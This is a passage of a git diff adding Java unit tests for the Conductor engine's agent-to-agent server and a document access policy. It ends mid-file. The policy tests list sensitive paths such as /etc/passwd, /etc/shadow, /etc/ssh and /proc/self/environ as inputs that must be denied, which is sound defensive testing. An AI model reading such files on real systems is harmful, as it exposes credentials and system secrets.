"{\"kind\":\"message\",\"role\":\"agent\",\"messageId\":\"m1\",\"contextId\":\"" + + CONTEXT_ID + + "\",\"parts\":[{\"kind\":\"text\",\"text\":\"" + + value + + "\"}]}"; + } + + private String artifactUpdateJson( + String artifactId, String partText, boolean append, boolean lastChunk) { + return "{\"kind\":\"artifact-update\",\"taskId\":\"" + + AGENT_TASK_ID + + "\",\"contextId\":\"" + + CONTEXT_ID + + "\",\"append\":" + + append + + ",\"lastChunk\":" + + lastChunk + + ",\"artifact\":{\"artifactId\":\"" + + artifactId + + "\",\"parts\":[{\"kind\":\"text\",\"text\":\"" + + partText + + "\"}]}}"; + } + + private String statusUpdateJson(String state, boolean isFinal) { + return "{\"kind\":\"status-update\",\"taskId\":\"" + + AGENT_TASK_ID + + "\",\"contextId\":\"" + + CONTEXT_ID + + "\",\"status\":{\"state\":\"" + + state + + "\"},\"final\":" + + isFinal + + "}"; + } + + private String agentCardJson() { + return "{\"name\":\"Embedded Agent\",\"description\":\"A2A test agent\",\"url\":\"" + + url() + + "\",\"version\":\"1.0.0\",\"protocolVersion\":\"0.3.0\"," + + "\"capabilities\":{\"streaming\":true,\"pushNotifications\":true}," + + "\"defaultInputModes\":[\"text/plain\"],\"defaultOutputModes\":[\"text/plain\"]," + + "\"skills\":[{\"id\":\"echo\",\"name\":\"Echo\",\"description\":\"Echoes input\",\"tags\":[\"test\"]}]}"; + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2ALoopbackTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2ALoopbackTest.java new file mode 100644 index 0000000..1ae135e --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2ALoopbackTest.java @@ -0,0 +1,226 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; + +import org.conductoross.conductor.ai.a2a.A2AService; +import org.conductoross.conductor.ai.a2a.A2AService.SendResult; +import org.conductoross.conductor.ai.a2a.AgentTask; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.context.annotation.Bean; +import org.springframework.core.env.Environment; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.service.MetadataService; +import com.netflix.conductor.service.TaskService; +import com.netflix.conductor.service.WorkflowService; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyBoolean; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.clearInvocations; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.spy; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * The capstone: Conductor calling Conductor over A2A. The real {@link AgentTask} client + * drives the real {@link A2AServerResource} over real HTTP (random port) through the full A2A + * round-trip — discovery, message/send → start workflow, tasks/get → poll to completion — with a + * stateful fake engine standing in for the persistence layer. Also proves the client's + * deterministic {@code messageId} arrives as the server's workflow idempotency key. + */ +@SpringBootTest( + classes = A2ALoopbackTest.LoopbackApp.class, + webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) +@TestPropertySource( + properties = { + "conductor.a2a.server.enabled=true", + "conductor.a2a.server.exposed-workflows=order_pizza" + }) +class A2ALoopbackTest { + + @LocalServerPort private int port; + @Autowired private WorkflowService workflowService; // the fake bean below + + // Shared across the (singleton) fake bean; reset per test so each test starts from "poll 0". + static final AtomicInteger POLLS = new AtomicInteger(); + + @BeforeEach + void reset() { + POLLS.set(0); + // The fake bean is a singleton mock shared across tests; clear counts so each test's + // verify(...) only sees its own invocations (stubbing is preserved). + clearInvocations(workflowService); + } + + @SpringBootApplication(exclude = DataSourceAutoConfiguration.class) + static class LoopbackApp { + + @Bean + WorkflowService workflowService() { + WorkflowService service = mock(WorkflowService.class); + when(service.startWorkflow(any(StartWorkflowRequest.class))).thenReturn("wf-loop-1"); + when(service.getExecutionStatus(eq("wf-loop-1"), anyBoolean())) + .thenAnswer( + inv -> { + Workflow wf = new Workflow(); + wf.setWorkflowId("wf-loop-1"); + wf.setCorrelationId("ctx-loop"); + wf.setWorkflowDefinition(def()); + // First poll RUNNING, then COMPLETED — simulates progress. + if (POLLS.getAndIncrement() == 0) { + wf.setStatus(WorkflowStatus.RUNNING); + } else { + wf.setStatus(WorkflowStatus.COMPLETED); + wf.setOutput(Map.of("orderId", "ORD-99")); + } + return wf; + }); + return service; + } + + @Bean + TaskService taskService() { + return mock(TaskService.class); + } + + @Bean + MetadataService metadataService() { + MetadataService service = mock(MetadataService.class); + when(service.getWorkflowDef(eq("order_pizza"), any())).thenReturn(def()); + when(service.getWorkflowDefsLatestVersions()).thenReturn(List.of(def())); + return service; + } + + private static WorkflowDef def() { + WorkflowDef def = new WorkflowDef(); + def.setName("order_pizza"); + def.setVersion(1); + def.setDescription("Order a pizza"); + return def; + } + } + + private A2AService clientService() { + A2AService service = + spy( + new A2AService( + new OkHttpClient.Builder() + .connectTimeout(3, TimeUnit.SECONDS) + .readTimeout(5, TimeUnit.SECONDS) + .build())); + doNothing().when(service).validateAgentUrl(anyString()); // loopback is fine in tests + return service; + } + + private String agentUrl() { + return "http://localhost:" + port + "/a2a/order_pizza"; + } + + @Test + void discovery_clientResolvesServerAgentCard() { + AgentCard card = clientService().getAgentCard(agentUrl(), null); + + assertEquals("order_pizza", card.getName()); + assertEquals(1, card.getSkills().size()); + assertEquals("order_pizza", card.getSkills().get(0).getId()); + assertEquals(agentUrl(), card.getUrl()); + } + + @Test + void streaming_clientAggregatesServerSseToCompletion() { + A2AService service = clientService(); + + A2AMessage message = new A2AMessage(); + Part part = new Part(); + part.setKind("text"); + part.setText("one large pepperoni"); + message.setParts(List.of(part)); + message.setRole("user"); + message.setMessageId("stream-m-1"); + message.setKind("message"); + + // Real client message/stream against the real server's SSE endpoint, over HTTP. + SendResult result = service.streamMessage(agentUrl(), message, null, null); + + assertTrue(result.isTask()); + assertEquals(TaskState.COMPLETED, result.getTask().getStatus().getState()); + assertNotNull(result.getTask().getArtifacts()); + assertFalse(result.getTask().getArtifacts().isEmpty()); + } + + @Test + void fullRoundTrip_clientTaskDrivesServerWorkflowToCompletion() { + A2AService service = clientService(); + AgentTask client = new AgentTask(service, mock(Environment.class)); + + TaskModel model = new TaskModel(); + model.setTaskId("client-task-1"); + model.setWorkflowInstanceId("client-wf"); + model.setReferenceTaskName("callPizza"); + model.setInputData(Map.of("agentUrl", agentUrl(), "text", "one large pepperoni")); + + // message/send → server starts the workflow → RUNNING → client task IN_PROGRESS. + client.start(null, model, null); + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + assertEquals("wf-loop-1", model.getOutputData().get("taskId")); + + // tasks/get poll loop → server flips to COMPLETED → client task COMPLETED. + int guard = 0; + while (model.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 20) { + client.execute(null, model, null); + } + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("completed", model.getOutputData().get("state")); + assertNotNull(model.getOutputData().get("artifacts")); + + // The client's deterministic messageId crossed the wire and became the server's + // idempotency key (server-side effectively-once). + ArgumentCaptor captor = + ArgumentCaptor.forClass(StartWorkflowRequest.class); + verify(workflowService).startWorkflow(captor.capture()); + // Client's deterministic messageId, namespaced by the server with the workflow name. + assertEquals( + "order_pizza:a2a-client-wf:callPizza:0", captor.getValue().getIdempotencyKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AServerResourceTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AServerResourceTest.java new file mode 100644 index 0000000..27899fd --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AServerResourceTest.java @@ -0,0 +1,166 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.http.ResponseEntity; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.servlet.http.HttpServletRequest; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +class A2AServerResourceTest { + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private A2AWorkflowAgent agent; + private A2AServerProperties properties; + private A2AServerResource resource; + + @BeforeEach + void setUp() { + agent = mock(A2AWorkflowAgent.class); + properties = new A2AServerProperties(); + resource = new A2AServerResource(agent, properties); + } + + private A2ATask task(String id, String state) { + A2ATask task = new A2ATask(); + task.setId(id); + TaskStatus status = new TaskStatus(); + status.setState(state); + task.setStatus(status); + return task; + } + + private JsonNode rpc(String method, String paramsJson) { + try { + String body = + "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"" + + method + + "\",\"params\":" + + paramsJson + + "}"; + return objectMapper.readTree(body); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + /** + * jsonRpc returns Object (SSE emitter or ResponseEntity); the non-stream paths are the latter. + */ + @SuppressWarnings("unchecked") + private ResponseEntity call(String workflow, JsonNode request) { + return (ResponseEntity) resource.jsonRpc(workflow, request); + } + + @Test + void messageSend_dispatchesAndReturnsResult() { + when(agent.sendMessage(eq("order_pizza"), any(A2AMessage.class))) + .thenReturn(task("wf-1", TaskState.WORKING)); + + JsonNode request = + rpc( + "message/send", + "{\"message\":{\"role\":\"user\",\"kind\":\"message\",\"messageId\":\"m1\",\"parts\":[{\"kind\":\"text\",\"text\":\"hi\"}]}}"); + ResponseEntity response = call("order_pizza", request); + + JsonNode body = response.getBody(); + assertEquals(1, body.get("id").asInt()); + assertEquals("wf-1", body.get("result").get("id").asText()); + verify(agent).sendMessage(eq("order_pizza"), any(A2AMessage.class)); + } + + @Test + void tasksGet_dispatches() { + when(agent.getTask("order_pizza", "wf-1")).thenReturn(task("wf-1", TaskState.COMPLETED)); + + ResponseEntity response = + call("order_pizza", rpc("tasks/get", "{\"id\":\"wf-1\"}")); + + assertEquals( + TaskState.COMPLETED, + response.getBody().get("result").get("status").get("state").asText()); + } + + @Test + void tasksCancel_dispatches() { + when(agent.cancelTask("order_pizza", "wf-1")).thenReturn(task("wf-1", TaskState.CANCELED)); + + call("order_pizza", rpc("tasks/cancel", "{\"id\":\"wf-1\"}")); + + verify(agent).cancelTask("order_pizza", "wf-1"); + } + + @Test + void unknownMethod_returnsMethodNotFound() { + ResponseEntity response = call("order_pizza", rpc("foo/bar", "{}")); + assertEquals(-32601, response.getBody().get("error").get("code").asInt()); + } + + @Test + void missingMethod_returnsInvalidRequest() { + JsonNode request; + try { + request = objectMapper.readTree("{\"jsonrpc\":\"2.0\",\"id\":1}"); + } catch (Exception e) { + throw new RuntimeException(e); + } + ResponseEntity response = call("order_pizza", request); + assertEquals(-32600, response.getBody().get("error").get("code").asInt()); + } + + @Test + void serverException_mapsToJsonRpcError() { + when(agent.getTask("order_pizza", "missing")) + .thenThrow(A2AServerException.notFound("not found")); + + ResponseEntity response = + call("order_pizza", rpc("tasks/get", "{\"id\":\"missing\"}")); + + assertEquals(-32001, response.getBody().get("error").get("code").asInt()); + } + + @Test + void agentCard_servedFromRequest() { + AgentCard card = new AgentCard(); + card.setName("order_pizza"); + when(agent.agentCard(eq("order_pizza"), any())).thenReturn(card); + + HttpServletRequest httpRequest = mock(HttpServletRequest.class); + when(httpRequest.getRequestURL()) + .thenReturn( + new StringBuffer( + "http://host:8080/a2a/order_pizza/.well-known/agent-card.json")); + + ResponseEntity response = resource.agentCard("order_pizza", httpRequest); + + assertEquals(200, response.getStatusCode().value()); + assertEquals("order_pizza", ((AgentCard) response.getBody()).getName()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgentTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgentTest.java new file mode 100644 index 0000000..43921e4 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgentTest.java @@ -0,0 +1,361 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.IdempotencyStrategy; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.service.MetadataService; +import com.netflix.conductor.service.TaskService; +import com.netflix.conductor.service.WorkflowService; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +class A2AWorkflowAgentTest { + + private WorkflowService workflowService; + private MetadataService metadataService; + private TaskService taskService; + private A2AServerProperties properties; + private A2AWorkflowAgent agent; + + @BeforeEach + void setUp() { + workflowService = mock(WorkflowService.class); + metadataService = mock(MetadataService.class); + taskService = mock(TaskService.class); + properties = new A2AServerProperties(); + agent = new A2AWorkflowAgent(workflowService, metadataService, taskService, properties); + } + + private WorkflowDef def(String name) { + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(3); + def.setDescription("Orders a pizza"); + return def; + } + + private Workflow workflow(String name, WorkflowStatus status) { + Workflow wf = new Workflow(); + wf.setWorkflowId("wf-1"); + wf.setStatus(status); + wf.setCorrelationId("ctx-1"); + wf.setWorkflowDefinition(def(name)); + return wf; + } + + private A2AMessage userMessage() { + Part part = new Part(); + part.setKind("text"); + part.setText("one large pepperoni"); + A2AMessage message = new A2AMessage(); + message.setMessageId("m-1"); + message.setContextId("ctx-1"); + message.setParts(List.of(part)); + return message; + } + + // ---- exposure ---------------------------------------------------------------------------- + + @Test + void exposed_viaWhitelist() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + when(metadataService.getWorkflowDef("secret_wf", null)).thenReturn(def("secret_wf")); + + assertTrue(agent.isExposed("order_pizza")); + assertFalse(agent.isExposed("secret_wf")); + } + + @Test + void exposed_viaWorkflowMetadata() { + WorkflowDef def = def("order_pizza"); + Map meta = new HashMap<>(); + meta.put("a2a.enabled", true); + def.setMetadata(meta); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def); + + assertTrue(agent.isExposed("order_pizza")); + } + + @Test + void notExposed_throwsOnAgentCard() { + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + assertThrows(A2AServerException.class, () -> agent.agentCard("order_pizza", "http://host")); + } + + // ---- agent card -------------------------------------------------------------------------- + + @Test + void agentCard_builtFromWorkflowDef() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + + AgentCard card = agent.agentCard("order_pizza", "http://host:8080"); + + assertEquals("order_pizza", card.getName()); + assertEquals("3", card.getVersion()); + assertEquals("http://host:8080/a2a/order_pizza", card.getUrl()); + assertEquals(1, card.getSkills().size()); + assertEquals("order_pizza", card.getSkills().get(0).getId()); + } + + // ---- message/send ------------------------------------------------------------------------ + + @Test + void sendMessage_startsWorkflowWithIdempotencyKey() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + when(workflowService.startWorkflow(any(StartWorkflowRequest.class))).thenReturn("wf-1"); + when(workflowService.getExecutionStatus("wf-1", false)) + .thenReturn(workflow("order_pizza", WorkflowStatus.RUNNING)); + + A2ATask task = agent.sendMessage("order_pizza", userMessage()); + + assertEquals("wf-1", task.getId()); + assertEquals(TaskState.WORKING, task.getStatus().getState()); + + ArgumentCaptor captor = + ArgumentCaptor.forClass(StartWorkflowRequest.class); + verify(workflowService).startWorkflow(captor.capture()); + StartWorkflowRequest req = captor.getValue(); + assertEquals("order_pizza", req.getName()); + assertEquals("order_pizza:m-1", req.getIdempotencyKey()); + assertEquals(IdempotencyStrategy.RETURN_EXISTING, req.getIdempotencyStrategy()); + assertEquals("ctx-1", req.getCorrelationId()); + assertEquals("one large pepperoni", req.getInput().get("_a2a_text")); + } + + // ---- message/send (multi-turn resume) ---------------------------------------------------- + + @Test + @SuppressWarnings("unchecked") + void sendMessage_withExistingTaskId_resumesPausedWorkflowInsteadOfStartingNew() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + + // The paused execution: RUNNING, blocked on a HUMAN task awaiting input. + Workflow blocked = workflow("order_pizza", WorkflowStatus.RUNNING); + Task human = new Task(); + human.setTaskType("HUMAN"); + human.setReferenceTaskName("await_topping"); + human.setStatus(Task.Status.IN_PROGRESS); + blocked.setTasks(List.of(human)); + // After resume the execution has progressed to COMPLETED. + when(workflowService.getExecutionStatus("wf-1", true)) + .thenReturn(blocked) + .thenReturn(workflow("order_pizza", WorkflowStatus.COMPLETED)); + + A2AMessage followUp = userMessage(); + followUp.setMessageId("m-2"); + followUp.setTaskId("wf-1"); // resume this execution + + A2ATask task = agent.sendMessage("order_pizza", followUp); + + // The follow-up completed the pending HUMAN task with its content as the input... + ArgumentCaptor> output = ArgumentCaptor.forClass(Map.class); + verify(taskService) + .updateTask( + eq("wf-1"), + eq("await_topping"), + eq(TaskResult.Status.COMPLETED), + eq("a2a-resume"), + output.capture()); + assertEquals("one large pepperoni", output.getValue().get("_a2a_text")); + // ...and did NOT start a duplicate workflow. + verify(workflowService, never()).startWorkflow(any(StartWorkflowRequest.class)); + assertEquals(TaskState.COMPLETED, task.getStatus().getState()); + } + + @Test + void sendMessage_withTaskId_terminalWorkflow_returnsStateWithoutResuming() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + when(workflowService.getExecutionStatus("wf-1", true)) + .thenReturn(workflow("order_pizza", WorkflowStatus.COMPLETED)); + + A2AMessage followUp = userMessage(); + followUp.setTaskId("wf-1"); + + A2ATask task = agent.sendMessage("order_pizza", followUp); + + assertEquals(TaskState.COMPLETED, task.getStatus().getState()); + verify(taskService, never()) + .updateTask(anyString(), anyString(), any(), anyString(), any()); + verify(workflowService, never()).startWorkflow(any(StartWorkflowRequest.class)); + } + + // ---- message/stream ---------------------------------------------------------------------- + + @Test + @SuppressWarnings("unchecked") + void streamMessage_emitsTaskThenArtifactThenFinalStatus() throws Exception { + properties.setExposedWorkflows(List.of("order_pizza")); + properties.setStreamPollIntervalMillis(1); // keep the test fast + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + when(workflowService.startWorkflow(any(StartWorkflowRequest.class))).thenReturn("wf-1"); + // sendMessage() loads without tasks -> RUNNING (working). + when(workflowService.getExecutionStatus("wf-1", false)) + .thenReturn(workflow("order_pizza", WorkflowStatus.RUNNING)); + // poll loop loads with tasks: still working, then completed with output. + Workflow completed = workflow("order_pizza", WorkflowStatus.COMPLETED); + completed.setOutput(Map.of("orderId", "ORD-1")); + when(workflowService.getExecutionStatus("wf-1", true)) + .thenReturn(workflow("order_pizza", WorkflowStatus.RUNNING)) + .thenReturn(completed); + + List events = new ArrayList<>(); + agent.streamMessage("order_pizza", userMessage(), 7, events::add); + + // First event is the initial Task (working) and carries our JSON-RPC id. + Map firstEnvelope = (Map) events.get(0); + assertEquals(7, firstEnvelope.get("id")); + Object firstResult = firstEnvelope.get("result"); + assertTrue(firstResult instanceof A2ATask); + assertEquals(TaskState.WORKING, ((A2ATask) firstResult).getStatus().getState()); + + // An artifact-update carries the workflow output. + boolean sawArtifact = + events.stream() + .map(e -> ((Map) e).get("result")) + .filter(Map.class::isInstance) + .anyMatch(r -> "artifact-update".equals(((Map) r).get("kind"))); + assertTrue(sawArtifact, "expected an artifact-update event; got " + events); + + // Last event is a final status-update with state completed. + Map lastResult = + (Map) + ((Map) events.get(events.size() - 1)).get("result"); + assertEquals("status-update", lastResult.get("kind")); + assertEquals(Boolean.TRUE, lastResult.get("final")); + assertEquals(TaskState.COMPLETED, ((TaskStatus) lastResult.get("status")).getState()); + } + + // ---- tasks/get --------------------------------------------------------------------------- + + @Test + void getTask_completed_mapsToCompletedWithArtifacts() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + Workflow wf = workflow("order_pizza", WorkflowStatus.COMPLETED); + wf.setOutput(Map.of("orderId", "ORD-42")); + when(workflowService.getExecutionStatus("wf-1", true)).thenReturn(wf); + + A2ATask task = agent.getTask("order_pizza", "wf-1"); + + assertEquals(TaskState.COMPLETED, task.getStatus().getState()); + assertNotNull(task.getArtifacts()); + assertEquals(1, task.getArtifacts().size()); + } + + @Test + void getTask_blockedOnHuman_mapsToInputRequired() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + Workflow wf = workflow("order_pizza", WorkflowStatus.RUNNING); + Task human = new Task(); + human.setTaskType("HUMAN"); + human.setStatus(Task.Status.IN_PROGRESS); + wf.setTasks(List.of(human)); + when(workflowService.getExecutionStatus("wf-1", true)).thenReturn(wf); + + A2ATask task = agent.getTask("order_pizza", "wf-1"); + + assertEquals(TaskState.INPUT_REQUIRED, task.getStatus().getState()); + assertNotNull(task.getStatus().getMessage()); + } + + @Test + void getTask_wrongAgent_throwsNotFound() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + // The execution belongs to a different workflow. + when(workflowService.getExecutionStatus("wf-1", true)) + .thenReturn(workflow("other_wf", WorkflowStatus.RUNNING)); + + assertThrows(A2AServerException.class, () -> agent.getTask("order_pizza", "wf-1")); + } + + @Test + void getTask_unverifiableOwnership_failsClosed() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + // Execution has no workflow definition (e.g. archived) — ownership can't be verified. + Workflow wf = new Workflow(); + wf.setWorkflowId("wf-1"); + wf.setStatus(WorkflowStatus.RUNNING); + when(workflowService.getExecutionStatus("wf-1", true)).thenReturn(wf); + + assertThrows(A2AServerException.class, () -> agent.getTask("order_pizza", "wf-1")); + } + + // ---- tasks/cancel ------------------------------------------------------------------------ + + @Test + void cancelTask_terminatesAndReturnsCanceled() { + properties.setExposedWorkflows(List.of("order_pizza")); + when(metadataService.getWorkflowDef("order_pizza", null)).thenReturn(def("order_pizza")); + when(workflowService.getExecutionStatus("wf-1", true)) + .thenReturn(workflow("order_pizza", WorkflowStatus.RUNNING)); + when(workflowService.getExecutionStatus("wf-1", false)) + .thenReturn(workflow("order_pizza", WorkflowStatus.TERMINATED)); + + A2ATask task = agent.cancelTask("order_pizza", "wf-1"); + + verify(workflowService).terminateWorkflow(eq("wf-1"), any()); + assertEquals(TaskState.CANCELED, task.getStatus().getState()); + } + + // ---- status mapping ---------------------------------------------------------------------- + + @Test + void mapState_coversAllStatuses() { + assertEquals(TaskState.COMPLETED, agent.mapState(workflow("w", WorkflowStatus.COMPLETED))); + assertEquals(TaskState.FAILED, agent.mapState(workflow("w", WorkflowStatus.FAILED))); + assertEquals(TaskState.FAILED, agent.mapState(workflow("w", WorkflowStatus.TIMED_OUT))); + assertEquals(TaskState.CANCELED, agent.mapState(workflow("w", WorkflowStatus.TERMINATED))); + assertEquals(TaskState.WORKING, agent.mapState(workflow("w", WorkflowStatus.PAUSED))); + assertEquals(TaskState.WORKING, agent.mapState(workflow("w", WorkflowStatus.RUNNING))); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/document/DocumentAccessPolicyTest.java b/ai/src/test/java/org/conductoross/conductor/ai/document/DocumentAccessPolicyTest.java new file mode 100644 index 0000000..f7a28ad --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/document/DocumentAccessPolicyTest.java @@ -0,0 +1,474 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.document; + +import java.util.List; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class DocumentAccessPolicyTest { + + private DocumentAccessPolicy policy; + private Environment env; + + @BeforeEach + void setUp() { + env = mock(Environment.class); + // Default: no file-storage.parentDir set — uses ~/worker-payload/ fallback + when(env.getProperty("conductor.file-storage.parentDir")).thenReturn(null); + policy = new DocumentAccessPolicy(env); + // Simulate @PostConstruct + policy.resolveEffectiveAllowedDirectories(); + } + + // ======================================================================== + // Blocklist — local filesystem sensitive paths + // ======================================================================== + + @Test + void shouldBlockEtcPasswd() { + assertThrows( + DocumentAccessDeniedException.class, () -> policy.validateAccess("/etc/passwd")); + } + + @Test + void shouldBlockEtcShadow() { + assertThrows( + DocumentAccessDeniedException.class, () -> policy.validateAccess("/etc/shadow")); + } + + @Test + void shouldBlockEtcSshDirectory() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/etc/ssh/sshd_config")); + } + + @Test + void shouldBlockProcSelfEnviron() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/proc/self/environ")); + } + + @Test + void shouldBlockFileUriScheme() { + assertThrows( + DocumentAccessDeniedException.class, + () -> 